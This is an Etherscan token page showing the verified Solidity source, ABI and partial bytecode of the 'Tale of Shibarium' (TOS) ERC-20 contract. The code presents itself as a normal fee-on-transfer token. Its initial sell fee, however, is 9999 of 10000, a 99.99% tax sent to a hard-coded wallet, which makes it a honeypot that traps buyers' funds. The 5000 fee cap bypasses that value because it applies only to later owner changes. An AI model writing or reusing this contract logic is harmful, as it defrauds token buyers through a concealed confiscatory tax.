ETH Price: $3,315.44 (-4.31%)

Token

Tale of Shibarium (TOS)
 

Overview

Max Total Supply

10,000,000 TOS

Holders

58

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.685516639 TOS

Value
$0.00
0x1541b8450344634ed3fd8541628f341692db5d0d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOS

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-25
*/

// SPDX-License-Identifier: NOLICENSE

/**

Public Portal: https://t.me/TOS_ERC
Medium: https://medium.com/@taleofshibarium/tale-of-shibarium-967c31842131
Twitter: https://twitter.com/TaleOfShibarium
Website: https://tos-erc.live/


*/

pragma solidity ^0.8.4;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB)  external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TOS is Context, IERC20, Ownable {

    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromMaxWalletSize;

    string private constant _name = "Tale of Shibarium";
    string private constant _symbol = "TOS";
    uint8 private constant _decimals = 9;

    uint256 public buyAutoLiquidityFee = 0;
    uint256 public buyAutoBurnFee = 0;
    uint256 public buyMarketingFee = 1000;
    uint256 public totalBuyFees = buyAutoLiquidityFee + buyAutoBurnFee + buyMarketingFee;

    uint256 public sellAutoLiquidityFee = 0;
    uint256 public sellAutoBurnFee = 0;
    uint256 public sellMarketingFee = 9999;
    uint256 public totalSellFees =  sellAutoLiquidityFee + sellAutoBurnFee + sellMarketingFee;

    uint256 public tokensForAutoLiquidity;
    uint256 public tokensForAutoBurn;  
    uint256 public tokensForMarketing;
    uint16 public masterTaxDivisor = 10000;

    address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address public pairAddress;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = true;
    bool private inSwap = false;
    bool private swapEnabled = true;
    uint256 private _tTotal = 10000000 * 10**9;
    uint256 private maxWalletAmount = 200000 * 10**9;
    uint256 private maxTxAmount = 10000000 * 10**9;
    address payable private feeAddrWallet;

    event MaxWalletAmountUpdated(uint maxWalletAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
  
    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
        feeAddrWallet = payable(0x9DF31F61cBFEC501683ADd3661bb06E8706141CD);    
        _tOwned[owner()] = _tTotal;   

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[feeAddrWallet] = true;
        _isExcludedFromMaxWalletSize[owner()] = true;
        _isExcludedFromMaxWalletSize[address(this)] = true;
        _isExcludedFromMaxWalletSize[feeAddrWallet] = true;     
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public pure returns (string memory) { return _name; }
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public view override returns (uint256) { return _tTotal; }
    function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; }
    function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
    function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
    function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= balanceOf(from),"You are trying to transfer more than your balance");    
        require(tradingOpen || _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading not enabled yet");

        if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(amount <= maxTxAmount, "Exceeds the maxTxAmount.");
        }

      if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromMaxWalletSize[to]) {             
                require(amount + balanceOf(to) <= maxWalletAmount, "Recipient exceeds max wallet size.");
        }

        uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 70000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }

        _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        _tOwned[sender] -= amount;
        uint256 amountReceived = (takeFee) ? takeTaxes(sender, recipient, amount) : amount;
        _tOwned[recipient] += amountReceived;
        emit Transfer(sender, recipient, amountReceived);
    }

    function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
        if(from == uniswapV2Pair && totalBuyFees > 0 ) { 
            tokensForAutoLiquidity = amount * buyAutoLiquidityFee / masterTaxDivisor;
            tokensForAutoBurn = amount * buyAutoBurnFee / masterTaxDivisor;         
            tokensForMarketing = amount * buyMarketingFee / masterTaxDivisor;    
        } else if (to == uniswapV2Pair  && totalSellFees > 0 ) { 
            tokensForAutoLiquidity = amount * sellAutoLiquidityFee / masterTaxDivisor;
            tokensForAutoBurn = amount * sellAutoBurnFee / masterTaxDivisor;
            tokensForMarketing = amount * sellMarketingFee / masterTaxDivisor;        
        }
        _tOwned[pairAddress] += tokensForAutoLiquidity;
        emit Transfer(from, pairAddress, tokensForAutoLiquidity);
        
        _tOwned[DEAD] += tokensForAutoBurn;
        _tTotal = _tTotal - tokensForAutoBurn;
        _tTotal = totalSupply();
        emit Transfer(from, DEAD, tokensForAutoBurn);
                
        _tOwned[address(this)] += tokensForMarketing;
        emit Transfer(from, address(this), tokensForMarketing);

        uint256 feeAmount = tokensForAutoLiquidity + tokensForAutoBurn + tokensForMarketing;
        return amount - feeAmount;
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function excludeFromMaxWalletLimit(address account) public onlyOwner {
		_isExcludedFromMaxWalletSize[account] = true;
	}

    function includeInMaxWalletLimit(address account) public onlyOwner {
		_isExcludedFromMaxWalletSize[account] = false;
	}

    function setWalletandTxtAmount(uint256 _maxTxAmount, uint256 _maxWalletSize) external onlyOwner{
        maxTxAmount = _maxTxAmount * 10 **_decimals;
        maxWalletAmount = _maxWalletSize * 10 **_decimals;
    }

    function LiftMax() external{
        maxTxAmount = _tTotal;
        maxWalletAmount = _tTotal;
    }

    function manualsend() external{
        feeAddrWallet.transfer(address(this).balance);
    }

    function modifyMarketingFee(uint256 _buyfees, uint256 _sellfees) external onlyOwner {
        buyMarketingFee = _buyfees;
        totalBuyFees = buyAutoLiquidityFee + buyAutoBurnFee + buyMarketingFee;
        sellMarketingFee = _sellfees;
        totalSellFees =  sellAutoLiquidityFee + sellAutoBurnFee + sellMarketingFee;
        require (totalBuyFees+totalSellFees <= 5000);
    }

    function sendETHToFee(uint256 amount) private {
        feeAddrWallet.transfer(amount);
    } 

    function openTrading() external onlyOwner() {       
        swapEnabled = true;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    receive() external payable{
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWalletAmount","type":"uint256"}],"name":"MaxWalletAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"LiftMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyAutoBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyAutoLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"masterTaxDivisor","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyfees","type":"uint256"},{"internalType":"uint256","name":"_sellfees","type":"uint256"}],"name":"modifyMarketingFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellAutoBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellAutoLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWalletSize","type":"uint256"}],"name":"setWalletandTxtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tokensForAutoBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForAutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600060055560006006556103e8600755600754600654600554620000299190620005bd565b620000359190620005bd565b60085560006009556000600a5561270f600b55600b54600a546009546200005d9190620005bd565b620000699190620005bd565b600c556010805461ffff1916612710179055601280546201000160a01b62ffffff60a01b19909116179055662386f26fc10000601381905565b5e620f48000601455601555348015620000bb57600080fd5b50620000c7336200053d565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156200012857600080fd5b505afa1580156200013d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016391906200058d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001ac57600080fd5b505afa158015620001c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e791906200058d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200023057600080fd5b505af115801562000245573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026b91906200058d565b601260006101000a8154816001600160a01b0302191690836001600160a01b03160217905550806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002cb57600080fd5b505afa158015620002e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030691906200058d565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200034f57600080fd5b505afa15801562000364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038a91906200058d565b6040516001600160e01b031960e085901b1681526001600160a01b0392831660048201529116602482015260440160206040518083038186803b158015620003d157600080fd5b505afa158015620003e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040c91906200058d565b6010805462010000600160b01b031916620100006001600160a01b039384160217905560168054739df31f61cbfec501683add3661bb06e8706141cd6001600160a01b031990911617815560135460008054841681526001602081815260408084209490945582548616835260038152838320805460ff1990811684179091553080855285852080548316851790558654881685528585208054831685179055845488168552600490925284842080548216841790559083528383208054821683179055935485168252918120805490931690911790915554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6013546040516200052e91815260200190565b60405180910390a350620005e2565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156200059f578081fd5b81516001600160a01b0381168114620005b6578182fd5b9392505050565b60008219821115620005dd57634e487b7160e01b81526011600452602481fd5b500190565b611aab80620005f26000396000f3fe6080604052600436106102085760003560e01c80638da5cb5b11610118578063c24ad66c116100a0578063d0a398141161006f578063d0a39814146105cd578063dd62ed3e146105e3578063ea2f0b3714610629578063f239eab814610649578063f2fde38b1461065f57600080fd5b8063c24ad66c1461056c578063c9567bf91461058c578063c99f2fed146105a1578063cc70acee146105b757600080fd5b80639f71146d116100e75780639f71146d146104d0578063a8b08982146104f0578063a9059cbb14610516578063b359886e14610536578063b9e937001461055657600080fd5b80638da5cb5b1461045a578063921369131461047857806395d89b411461048e5780639740a946146104ba57600080fd5b80633722355c1161019b5780636cce46fc1161016a5780636cce46fc146103ce5780636fc3eaec146103e457806370a08231146103f9578063715018a61461042f5780637bce5a041461044457600080fd5b80633722355c14610359578063437823ec1461037b57806347afcbfe1461039b5780635bb13ca4146103b157600080fd5b80631d6167ac116101d75780631d6167ac146102d95780631f3fed8f1461030757806323b872dd1461031d578063313ce5671461033d57600080fd5b806303fd2a451461021457806306fdde0314610247578063095ea7b31461028a57806318160ddd146102ba57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561025357600080fd5b5060408051808201909152601181527054616c65206f662053686962617269756d60781b60208201525b60405161023e91906117d6565b34801561029657600080fd5b506102aa6102a536600461176a565b61067f565b604051901515815260200161023e565b3480156102c657600080fd5b506013545b60405190815260200161023e565b3480156102e557600080fd5b506010546102f49061ffff1681565b60405161ffff909116815260200161023e565b34801561031357600080fd5b506102cb600f5481565b34801561032957600080fd5b506102aa61033836600461172a565b610696565b34801561034957600080fd5b506040516009815260200161023e565b34801561036557600080fd5b506103796103743660046116b3565b61074c565b005b34801561038757600080fd5b506103796103963660046116b3565b61079a565b3480156103a757600080fd5b506102cb600a5481565b3480156103bd57600080fd5b506103796013546015819055601455565b3480156103da57600080fd5b506102cb60095481565b3480156103f057600080fd5b506103796107e8565b34801561040557600080fd5b506102cb6104143660046116b3565b6001600160a01b031660009081526001602052604090205490565b34801561043b57600080fd5b50610379610824565b34801561045057600080fd5b506102cb60075481565b34801561046657600080fd5b506000546001600160a01b031661022a565b34801561048457600080fd5b506102cb600b5481565b34801561049a57600080fd5b50604080518082019091526003815262544f5360e81b602082015261027d565b3480156104c657600080fd5b506102cb600d5481565b3480156104dc57600080fd5b506103796104eb3660046116b3565b61085a565b3480156104fc57600080fd5b5060105461022a906201000090046001600160a01b031681565b34801561052257600080fd5b506102aa61053136600461176a565b6108a5565b34801561054257600080fd5b506103796105513660046117b5565b6108b2565b34801561056257600080fd5b506102cb60085481565b34801561057857600080fd5b506103796105873660046117b5565b610943565b34801561059857600080fd5b506103796109a3565b3480156105ad57600080fd5b506102cb60065481565b3480156105c357600080fd5b506102cb600e5481565b3480156105d957600080fd5b506102cb600c5481565b3480156105ef57600080fd5b506102cb6105fe3660046116f2565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561063557600080fd5b506103796106443660046116b3565b610a6c565b34801561065557600080fd5b506102cb60055481565b34801561066b57600080fd5b5061037961067a3660046116b3565b610ab7565b600061068c338484610b4f565b5060015b92915050565b60006106a3848484610c73565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561072d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610741853361073c8685611a13565b610b4f565b506001949350505050565b6000546001600160a01b031633146107765760405162461bcd60e51b815260040161072490611829565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146107c45760405162461bcd60e51b815260040161072490611829565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6016546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610821573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461084e5760405162461bcd60e51b815260040161072490611829565b610858600061110e565b565b6000546001600160a01b031633146108845760405162461bcd60e51b815260040161072490611829565b6001600160a01b03166000908152600460205260409020805460ff19169055565b600061068c338484610c73565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260040161072490611829565b600782905560065460055483916108f2916118ce565b6108fc91906118ce565b600855600b819055600a546009548291610915916118ce565b61091f91906118ce565b600c81905560085461138891610934916118ce565b111561093f57600080fd5b5050565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161072490611829565b6109796009600a611949565b61098390836119f4565b6015556109926009600a611949565b61099c90826119f4565b6014555050565b6000546001600160a01b031633146109cd5760405162461bcd60e51b815260040161072490611829565b6012805462ff00ff60a01b1981166201000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610a3457600080fd5b505af1158015610a48573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108219190611795565b6000546001600160a01b03163314610a965760405162461bcd60e51b815260040161072490611829565b6001600160a01b03166000908152600360205260409020805460ff19169055565b6000546001600160a01b03163314610ae15760405162461bcd60e51b815260040161072490611829565b6001600160a01b038116610b465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610724565b6108218161110e565b6001600160a01b038316610bb15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610724565b6001600160a01b038216610c125760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610724565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610724565b6001600160a01b038216610d395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610724565b60008111610d9b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610724565b6001600160a01b038316600090815260016020526040902054811115610e1d5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610724565b601254600160a01b900460ff1680610e4d57506001600160a01b03831660009081526003602052604090205460ff165b80610e7057506001600160a01b03821660009081526003602052604090205460ff165b610ebc5760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206e6f7420656e61626c6564207965740000000000000000006044820152606401610724565b6012546001600160a01b038481169116148015610ee757506011546001600160a01b03838116911614155b8015610f0c57506001600160a01b03821660009081526003602052604090205460ff16155b15610f6357601554811115610f635760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610724565b6012546001600160a01b038481169116148015610f8e57506011546001600160a01b03838116911614155b8015610fb357506001600160a01b03821660009081526004602052604090205460ff16155b15611037576014546001600160a01b038316600090815260016020526040902054610fde90836118ce565b11156110375760405162461bcd60e51b815260206004820152602260248201527f526563697069656e742065786365656473206d61782077616c6c65742073697a604482015261329760f11b6064820152608401610724565b30600090815260016020526040902054601254600160a81b900460ff1615801561106f57506012546001600160a01b03858116911614155b80156110845750601254600160b01b900460ff165b80156110905750600081115b156110b95761109e8161115e565b4766f8b0a10e4700008111156110b7576110b747611303565b505b6001600160a01b0384166000908152600360205260409020546111089085908590859060ff168061110257506001600160a01b03871660009081526003602052604090205460ff165b1561133d565b50505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6012805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111b457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120857600080fd5b505afa15801561121c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124091906116d6565b8160018151811061126157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526011546112879130911684610b4f565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c090859060009086903090429060040161185e565b600060405180830381600087803b1580156112da57600080fd5b505af11580156112ee573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6016546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561093f573d6000803e3d6000fd5b6001600160a01b03841660009081526001602052604081208054849290611365908490611a13565b9091555060009050816113785782611383565b6113838585856113f9565b6001600160a01b0385166000908152600160205260408120805492935083929091906113b09084906118ce565b92505081905550836001600160a01b0316856001600160a01b0316600080516020611a56833981519152836040516113ea91815260200190565b60405180910390a35050505050565b6012546000906001600160a01b03858116911614801561141b57506000600854115b156114915760105460055461ffff9091169061143790846119f4565b61144191906118e6565b600d5560105460065461ffff9091169061145b90846119f4565b61146591906118e6565b600e5560105460075461ffff9091169061147f90846119f4565b61148991906118e6565b600f55611522565b6012546001600160a01b0384811691161480156114b057506000600c54115b156115225760105460095461ffff909116906114cc90846119f4565b6114d691906118e6565b600d55601054600a5461ffff909116906114f090846119f4565b6114fa91906118e6565b600e55601054600b5461ffff9091169061151490846119f4565b61151e91906118e6565b600f555b600d546010546201000090046001600160a01b0316600090815260016020526040812080549091906115559084906118ce565b9091555050601054600d546040516001600160a01b0362010000909304831692871691600080516020611a568339815191529161159491815260200190565b60405180910390a3600e5461dead600090815260016020527fb34209a263f6c38fe55f099e9e70f